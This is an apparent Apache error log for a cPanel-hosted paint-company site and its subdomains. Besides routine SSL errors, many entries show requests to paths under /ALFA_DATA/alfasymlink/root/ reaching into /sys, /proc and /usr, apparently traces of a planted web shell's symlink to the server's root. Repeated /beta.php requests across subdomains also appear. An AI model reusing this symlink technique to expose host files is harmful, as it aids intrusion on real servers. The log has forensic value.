[Tue Oct 27 14:48:03.992724 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 34.225.243.131:50575] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:08.651696 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 54.225.181.161:23066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:11.231592 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 185.191.171.5:54486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/LNXPWRBN:00/driver/bind
[Tue Oct 27 14:48:15.971853 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 54.210.152.179:50511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:20.151290 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 98.82.107.102:55151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:23.843973 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 100.29.107.38:45923] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:27.731793 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.21.62.139:20638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:55.739462 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 184.72.84.154:30409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:59.895004 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.200.58.199:23884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:49:15.785525 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 34.193.2.57:22075] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:49:20.046356 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 34.206.249.188:49402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:49:35.803730 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 3.212.86.97:38201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:49:40.201907 2026] [core:error] [pid 3283124:tid 3283124] (13)Permission denied: [client 52.54.15.103:46288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/uevent
[Tue Oct 27 14:49:43.773735 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 44.221.180.179:43761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:00.047885 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 52.45.92.83:48814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:04.098590 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 54.147.238.89:3481] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:11.834313 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 34.206.249.188:46214] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:19.986873 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 23.21.175.228:49492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:32.004808 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 100.25.120.246:32624] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:36.088528 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 54.156.248.117:28822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:50:59.723457 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 34.231.181.240:44551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:51:15.912752 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 54.87.62.248:23780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:51:19.808261 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 23.21.225.190:17308] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:51:24.047468 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 3.226.34.98:12027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/remove_id
[Tue Oct 27 14:51:43.827469 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 98.82.39.241:20279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:51:51.783154 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 54.83.180.239:26961] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:51:55.731043 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 184.72.95.195:8127] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:51:59.756470 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 184.73.167.217:34762] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:02.859370 2026] [core:error] [pid 3283128:tid 3283128] (13)Permission denied: [client 185.191.171.7:34860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/poison
[Tue Oct 27 14:52:11.727918 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 18.205.91.101:19873] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:15.780793 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 54.152.163.42:47059] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:20.112205 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 3.224.215.150:59450] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:24.066519 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 54.209.100.30:35042] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:24.066774 2026] [security2:error] [pid 3284012:tid 3284012] [client 54.209.100.30:35042] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem_vendor"] [unique_id "auDy6IkiZBd0VfQpRIAT9gAAAAQ"]
[Tue Oct 27 14:52:24.066961 2026] [security2:error] [pid 3284012:tid 3284012] [client 54.209.100.30:35042] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem_vendor"] [unique_id "auDy6IkiZBd0VfQpRIAT9gAAAAQ"]
[Tue Oct 27 14:52:36.013603 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 23.23.214.190:11285] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:43.762176 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 100.24.167.60:17479] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:47.960248 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 44.210.213.220:1591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:51.808730 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 18.235.158.19:45209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:52:55.307339 2026] [security2:error] [pid 3274706:tid 3274706] [client 107.172.76.131:61870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDy-QoyJtJSP9voS0aJUwAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:52:55.307412 2026] [security2:error] [pid 3274706:tid 3274706] [client 107.172.76.131:61870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDy-QoyJtJSP9voS0aJUwAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:52:59.870412 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 98.82.107.102:36401] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:53:07.942913 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 54.159.18.27:23735] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:53:16.114432 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 54.166.104.83:22951] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:53:35.843565 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 44.214.19.8:25917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:53:55.739520 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 100.28.133.214:34044] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:53:59.943799 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 54.83.23.103:7439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:03.956591 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 3.94.40.182:5641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:12.421623 2026] [security2:error] [pid 3283130:tid 3283130] [client 107.172.76.131:61865] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDzSM-QHLZ0So85X2SWJwAAACc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:54:12.421712 2026] [security2:error] [pid 3283130:tid 3283130] [client 107.172.76.131:61865] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDzSM-QHLZ0So85X2SWJwAAACc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:54:15.076097 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 185.191.171.2:18832] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:16.926461 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.239.85.139:44872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:27.851098 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 34.196.114.170:64292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:36.374250 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 23.23.213.182:19383] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:40.079390 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 54.147.182.90:14640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:47.788850 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 44.210.213.220:18905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:51.985569 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 18.232.36.1:28225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:54:55.982208 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 3.222.85.38:52597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:55:03.878733 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 44.215.210.112:55341] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:55:09.149793 2026] [core:error] [pid 3283145:tid 3283145] (13)Permission denied: [client 85.208.96.202:32324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/partial
[Tue Oct 27 14:55:16.053200 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 44.216.172.204:1935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:55:31.794548 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 52.71.218.25:17835] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:55:35.998691 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 98.83.10.183:60447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:55:44.124902 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 52.200.142.199:63559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ec/unbind
[Tue Oct 27 14:55:47.951652 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 52.4.229.9:50580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:00.072892 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 98.82.40.168:46194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:01.594859 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 185.191.171.18:46844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:03.790477 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.204.89.12:59441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:04.895995 2026] [ssl:error] [pid 3285080:tid 3285080] (70014)End of file found: [client 185.191.171.18:46854] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:23.808168 2026] [core:error] [pid 3282641:tid 3282641] (13)Permission denied: [client 52.3.155.146:58303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory15/subsystem/drivers_probe
[Tue Oct 27 14:56:28.118554 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 35.173.38.202:43768] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:31.814951 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 34.206.249.188:20687] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/new_id
[Tue Oct 27 14:56:36.398977 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 34.239.85.139:2586] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:40.145280 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 52.200.93.170:46066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:56:51.930364 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 54.221.203.24:5273] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:57:04.391920 2026] [security2:error] [pid 3274606:tid 3274606] [client 18.214.138.148:16109] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata1/link1/dev1.1/"] [unique_id "auD0AA7_zSvANpD6fKw__gAAABE"]
[Tue Oct 27 14:57:04.392012 2026] [security2:error] [pid 3274606:tid 3274606] [client 18.214.138.148:16109] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata1/link1/dev1.1/"] [unique_id "auD0AA7_zSvANpD6fKw__gAAABE"]
[Tue Oct 27 14:57:20.012679 2026] [ssl:error] [pid 3285165:tid 3285165] (5)Input/output error: [client 98.83.72.38:37669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:57:23.984051 2026] [core:error] [pid 3283128:tid 3283128] (13)Permission denied: [client 54.84.147.79:42405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/subsystem/devices/memory4/node0/cpu0/crash_notes_size
[Tue Oct 27 14:57:27.898291 2026] [ssl:error] [pid 3283130:tid 3283130] (70014)End of file found: [client 44.212.145.46:19913] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:57:36.287903 2026] [ssl:error] [pid 3283116:tid 3283116] (70014)End of file found: [client 3.211.181.86:30882] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:57:39.781927 2026] [security2:error] [pid 3285161:tid 3285161] [client 44.217.255.167:18714] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/"] [unique_id "auD0Iz5LOURASdJ_qUXH_QAAAAY"]
[Tue Oct 27 14:57:39.781977 2026] [security2:error] [pid 3285161:tid 3285161] [client 44.217.255.167:18714] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/"] [unique_id "auD0Iz5LOURASdJ_qUXH_QAAAAY"]
[Tue Oct 27 14:57:55.609636 2026] [security2:error] [pid 3282923:tid 3282923] [client 185.191.171.17:41112] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/modules/4.18.0-240.15.1.el8_3.x86_64/updates/"] [unique_id "auD0M7WO6u2k69e2sIx6lQAAABU"]
[Tue Oct 27 14:57:55.609697 2026] [security2:error] [pid 3282923:tid 3282923] [client 185.191.171.17:41112] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/modules/4.18.0-240.15.1.el8_3.x86_64/updates/"] [unique_id "auD0M7WO6u2k69e2sIx6lQAAABU"]
[Tue Oct 27 14:57:55.854740 2026] [ssl:error] [pid 3283116:tid 3283116] (70014)End of file found: [client 44.221.105.234:51472] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:58:04.130393 2026] [ssl:error] [pid 3285161:tid 3285161] (70014)End of file found: [client 44.212.145.46:14355] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:58:15.915882 2026] [ssl:error] [pid 3283116:tid 3283116] (70014)End of file found: [client 52.203.152.231:42077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:58:39.782101 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 44.206.93.215:26542] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:58:47.900783 2026] [ssl:error] [pid 3282923:tid 3282923] (5)Input/output error: [client 52.54.95.127:13947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:58:52.262446 2026] [ssl:error] [pid 3285080:tid 3285080] (70014)End of file found: [client 52.3.102.51:27939] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:58:55.947741 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 34.226.89.140:10713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:07.792680 2026] [ssl:error] [pid 3282641:tid 3282641] (70014)End of file found: [client 3.212.205.90:21588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:11.794772 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 34.239.85.139:33777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:20.191878 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 35.171.141.42:13411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:24.081852 2026] [core:error] [pid 3285080:tid 3285080] (13)Permission denied: [client 3.213.106.226:17359] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/remove
[Tue Oct 27 14:59:27.907947 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 44.193.115.232:36073] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:32.076175 2026] [core:error] [pid 3285161:tid 3285161] (13)Permission denied: [client 18.213.240.226:27366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/module/sections/__param
[Tue Oct 27 14:59:34.701126 2026] [ssl:error] [pid 3285080:tid 3285080] (5)Input/output error: [client 85.208.96.204:32016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:34.737604 2026] [ssl:error] [pid 3283068:tid 3283068] (5)Input/output error: [client 85.208.96.204:32030] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:40.028797 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 52.3.102.51:15616] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:43.863013 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.194.14.255:46592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:47.758471 2026] [ssl:error] [pid 3285161:tid 3285161] (70014)End of file found: [client 54.85.7.119:21894] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:59:56.248321 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 54.210.155.69:37759] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:01.516093 2026] [security2:error] [pid 3283147:tid 3283147] [client 107.172.76.131:61868] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD0pqE7Dn053zDjtGH0rQAAAB0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 15:00:01.516208 2026] [security2:error] [pid 3283147:tid 3283147] [client 107.172.76.131:61868] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD0pqE7Dn053zDjtGH0rQAAAB0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 15:00:12.034882 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 52.203.65.83:17445] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:15.776221 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 34.204.150.196:7329] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory22/node0/memory6/subsystem/uevent
[Tue Oct 27 15:00:19.837128 2026] [ssl:error] [pid 3283130:tid 3283130] (70014)End of file found: [client 35.174.141.243:35203] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:27.794231 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 3.230.224.6:22733] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:31.768870 2026] [ssl:error] [pid 3274606:tid 3274606] (5)Input/output error: [client 3.221.50.71:38562] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:39.293097 2026] [ssl:error] [pid 3283130:tid 3283130] (70014)End of file found: [client 185.191.171.18:24262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:40.037505 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 54.147.238.89:60087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:47.885559 2026] [ssl:error] [pid 3285164:tid 3285164] (70014)End of file found: [client 98.82.40.168:33711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:56.021921 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.4.229.9:35267] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:00:58.185222 2026] [security2:error] [pid 3274954:tid 3274954] [client 107.172.76.131:61945] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD03ZINvLjD_VeFzXTfngAAAAI"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 15:00:58.185311 2026] [security2:error] [pid 3274954:tid 3274954] [client 107.172.76.131:61945] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD03ZINvLjD_VeFzXTfngAAAAI"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 15:00:59.963269 2026] [ssl:error] [pid 3285080:tid 3285080] (70014)End of file found: [client 34.234.200.207:46109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:01:03.974254 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 100.29.128.75:14148] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:01:07.934931 2026] [ssl:error] [pid 3283147:tid 3283147] (70014)End of file found: [client 23.21.204.95:24218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:01:23.775784 2026] [ssl:error] [pid 3283147:tid 3283147] (70014)End of file found: [client 54.87.62.248:34012] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:01:27.907798 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 52.7.33.248:20286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory9/node0/memory16/subsystem/drivers_probe
[Tue Oct 27 15:01:30.916102 2026] [security2:error] [pid 3285080:tid 3285080] [client 85.208.96.201:56576] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/maian/php71/install.php"] [unique_id "auD1CtL3iDW6-XrBq4SVcwAAAAU"]
[Tue Oct 27 15:01:30.916158 2026] [security2:error] [pid 3285080:tid 3285080] [client 85.208.96.201:56576] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/maian/php71/install.php"] [unique_id "auD1CtL3iDW6-XrBq4SVcwAAAAU"]
[Tue Oct 27 15:01:39.908734 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.204.37.237:30936] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:01:51.828547 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 34.206.212.24:22422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:00.075779 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.205.113.104:40448] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:20.062445 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 18.235.81.246:23964] AH02013: coalesce failed to read from data bucket
